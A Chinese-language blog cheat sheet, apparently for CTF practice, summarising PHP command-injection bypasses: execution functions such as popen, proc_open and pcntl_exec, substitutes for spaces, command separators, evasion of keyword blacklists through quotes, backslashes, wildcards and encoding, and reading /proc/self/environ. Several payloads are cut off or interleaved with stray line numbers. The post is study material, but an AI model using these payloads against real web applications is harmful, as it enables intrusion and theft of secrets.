命令执行绕过总结
命令执行函数
直接可以把执行命令得到的数据输出
- system()
- passthru()
只加echo即可输出
- echo exec()
- echo shell_exec()
- echo `命令` 同shell_exec()
popen()
- popen是作为打开文件存在,首先以可读的方式打开我们命令的执行结果,此时返回的是文件的资源句柄(resource)或者说地址,所以我们需要使用stream_get_contents去读取文件的内容即命令执行的结果,最后使用echo将其输出
echo stream_get_contents(popen("cat f*","r")); $h=popen("cat f*","r");echo stream_get_contents($h);pclose($h);1
2
3
4
5
6
7
8
- proc_open()
- ```
proc_open ( string $cmd , array $descriptorspec , array &$pipes)
cmd:执行的命令
descriptorspec:索引数组。数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)
数组中的元素可以是:要传送至进程的管道的描述信息。 第一个元素为描述符类型, 第二个元素是针对该描述符的选项。 有效的类型有:pipe (第二个元素可以是: r 向进程传送该管道的读取端,w 向进程传送该管道的写入端), 以及 file(第二个元素为文件名)。
pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。$p=proc_open("cat f*",[1=>["pipe","w"]],$ps);echo stream_get_contents($ps[1]);proc_close($p);1
2
3
4
5
- pcntl_exec()
- 本质是重开了一个uinx的命令行,但由于不会输出,适用于反弹shell或者写入webshell
- ```
pcntl_exec("/bin/sh", ["-c", "cat f*"]);
空格过滤
- linux
1 | {cat,flag.txt} |
小tips1
$IFS$9去代替的,
passthru("tac$IFS$9f*")但是无法成功,搜索了一下发现,由于使用的是双引号,所以我们传入$就会被php识别成变量,而代码中不存在该变量,所以自动为空,就会变成passthru("tacf*")自然无法读取反引号一样
小tips2
%0a不行是因为在uinx中执行命令换行会直接结束当前的命令
- Windows
1 | type.\flag.txt |
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
查看命令
1 | cat |
管道符
Windows
1 | |直接执行后面的语句 |
Linux
1 | ;前面和后面命令都要执行,无论前面真假 |
命令分割符
linux:%0a , %0d , ; , & , | , && , ||
win:%0a , & , | , %1a(可作为.bat文件的命令分隔符)
担任连续指令的功能符号就是”;”
管道符”|”左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示(编码绕过用到)
字符串黑名单绕过
拼接绕过
1 | eg: |
编码绕过
1 | base64: |
单双引号绕过
1 | ca''t flag |
反斜杠绕过
1 | ca\t fl\ag |
正则(假设/bin/cat:test:是一个目录)
1 | /???/?[a][t] ?''?''?''?'' |
$1、$2等和$@
1 | $# 是传给脚本的参数个数 |
借用已有字符串
比如linux内置变量,再通过截取方式得到需要的字符
长度限制
可以利用文件构造的方法
eg:
linux下可以用1>a创建名为a的空文件
ls -t>test则会将目录按时间排序后写进文件中
sh命令可以从一个文件中读取命令来执行
1 | root@kali:~/桌面# echo "flag{hahaha}" > flag.txt |
内联执行
命令替代,大部分Unix shell以及编程语言如Perl、php以及Ruby等都以成对的反引号做指令替代,,也就是执行被反引号包围的命令
1 | cat$IFS$9`ls` |
通配符
1 | 常用的linux shell通配符 |
上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?或 * 这样的通配符,不能匹配路径分隔符(/)。如果要匹配子目录里面的文件,可以写成这样:ls */*.txt
绕过preg_match
1 | 可以使用%0a换行绕过preg_match |
读取环境变量
1 | cat /proc/self/environ |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 leshi的个人博客!


